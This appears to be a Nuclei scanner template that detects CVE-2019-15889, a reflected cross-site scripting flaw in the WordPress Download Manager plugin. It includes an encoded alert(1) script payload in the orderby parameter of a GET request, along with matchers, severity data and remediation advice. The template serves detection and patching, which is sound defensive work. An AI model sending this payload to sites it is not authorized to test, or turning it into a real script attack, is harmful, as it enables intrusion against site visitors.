id: CVE-2019-15889 info: name: WordPress Download Manager <2.9.94 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter. impact: | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions. remediation: | Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability. reference: - https://www.cybersecurity-help.cz/vdb/SB2019041819 - https://wordpress.org/plugins/download-manager/#developers - https://nvd.nist.gov/vuln/detail/CVE-2019-15889 - http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html - https://plugins.trac.wordpress.org/changeset/2070388/download-manager classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-15889 cwe-id: CWE-79 epss-score: 0.03568 epss-percentile: 0.90679 cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wpdownloadmanager product: wordpress_download_manager framework: wordpress tags: packetstorm,cve,cve2019,wordpress,xss,wp-plugin,wpdownloadmanager http: - method: GET path: - '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a0047304502200f20e72044dc1f09ccc19b7bf71ccce696cb533dd1e508bd889067ded8df72ae022100e1a2963bf64be81edc22d790cd0ace98210469e32583fcffbdbb1e9bde091531:922c64590222798bb761d5b6d8e72950